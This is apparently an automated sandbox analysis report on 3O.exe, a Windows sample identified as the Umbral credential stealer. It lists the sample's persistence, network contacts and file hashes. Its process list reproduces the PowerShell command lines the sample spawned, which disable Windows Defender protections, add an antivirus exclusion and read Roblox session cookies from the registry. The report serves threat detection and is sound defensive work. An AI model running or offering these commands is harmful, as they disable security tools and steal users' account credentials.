Malware Analysis Report

2024-10-10 09:55

Sample ID 240712-2h17hstcjr
Target 3O.exe
SHA256 b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b
Tags
umbral execution persistence spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b

Threat Level: Known bad

The file 3O.exe was found to be: Known bad.

Malicious Activity Summary

umbral execution persistence spyware stealer

Detect Umbral payload

Umbral family

Umbral

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Looks up external IP address via web service

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Unsigned PE

Enumerates physical storage devices

Modifies registry class

Suspicious use of SetWindowsHookEx

Detects videocard installed

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Views/modifies file attributes

Checks processor information in registry

Runs ping.exe

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-12 22:35

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-12 22:35

Reported

2024-07-12 22:38

Platform

win7-20240708-en

Max time kernel

144s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3O.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe" C:\Users\Admin\AppData\Local\Temp\3O.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2756 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 2756 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 2756 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 2756 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 2756 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 2756 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 2756 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 2756 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 2564 wrote to memory of 2660 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 2564 wrote to memory of 2660 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 2564 wrote to memory of 2660 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 2564 wrote to memory of 2660 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 2660 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2436 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 2436 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 2436 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1764 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 916 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 916 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 916 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\cmd.exe
PID 2660 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\cmd.exe
PID 2660 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe C:\Windows\system32\cmd.exe
PID 1848 wrote to memory of 1948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE
PID 1848 wrote to memory of 1948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE
PID 1848 wrote to memory of 1948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\3O.exe

"C:\Users\Admin\AppData\Local\Temp\3O.exe"

C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe"

C:\ProgramData\Synaptics\Synaptics.exe

"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate

C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\system32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\system32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.3:443 gstatic.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.136.232:443 discord.com tcp
US 8.8.8.8:53 xred.mooo.com udp
US 8.8.8.8:53 freedns.afraid.org udp
US 69.42.215.252:80 freedns.afraid.org tcp
US 8.8.8.8:53 docs.google.com udp
GB 172.217.169.78:443 docs.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp

Files

memory/2756-2-0x0000000000230000-0x0000000000231000-memory.dmp

\Users\Admin\AppData\Local\Temp\._cache_3O.exe

MD5 564b355897ddc57a49b9c0385673b7c4
SHA1 830b0bd8d603c384a3ca59de5889c9ccb98233b1
SHA256 ccf452b1c9ef7ad173d702e74cb17c13bee478432ed764259d4b33634aea438c
SHA512 c2ebcea2723156c3534641b796a0303fedc06e4ba304e285d898ad819fa4eac4cac0bda79831d60097db4a7a0c76a8af616ff0c5ecbb327200724810523a12a5

C:\ProgramData\Synaptics\Synaptics.exe

MD5 e9e10384209bc3b39b6f5cd6f33314e7
SHA1 40f0bed19c2f77417ab130e7be434c6e0e33bc0a
SHA256 b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b
SHA512 b391ef944dcc1d4f1158579ea4f7c8f248c5b3ee58f4483a2ba60956953763c6a0ce641707a583c6329e1c58265494065552901a0152cea5d6d87cd5d40501be

memory/2756-25-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2680-28-0x0000000001290000-0x00000000012D0000-memory.dmp

memory/2660-36-0x0000000001390000-0x00000000013D0000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1000-42-0x000000001B670000-0x000000001B952000-memory.dmp

memory/1000-43-0x0000000001E80000-0x0000000001E88000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 cc2ebe0a534679db98b5935fa5795e45
SHA1 c625a97e16eac8cd4b3782d6a3d5ccbcf9eb8817
SHA256 5dc00048db4da89a80c8d6518779680e9f655553d1e32b86f965d180cb5f7d95
SHA512 98a120d4fcaa06a24d011c2d4cee3141eb21698ac9579362f2e49388fda0314c60184580d72451c00b9fc0fb60e837fb15a3adc35dc556775abe22c8394c62c9

memory/1764-49-0x000000001B5B0000-0x000000001B892000-memory.dmp

memory/1764-50-0x0000000002910000-0x0000000002918000-memory.dmp

memory/916-78-0x0000000001F70000-0x0000000001F78000-memory.dmp

memory/2028-82-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CjnClFyj.xlsm

MD5 e566fc53051035e1e6fd0ed1823de0f9
SHA1 00bc96c48b98676ecd67e81a6f1d7754e4156044
SHA256 8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15
SHA512 a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

memory/2564-102-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2564-103-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2564-127-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2564-138-0x0000000000400000-0x00000000004F9000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-12 22:35

Reported

2024-07-12 22:38

Platform

win10v2004-20240709-en

Max time kernel

142s

Max time network

137s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3O.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\3O.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation C:\ProgramData\Synaptics\Synaptics.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe" C:\Users\Admin\AppData\Local\Temp\3O.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\AppData\Local\Temp\3O.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\ProgramData\Synaptics\Synaptics.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
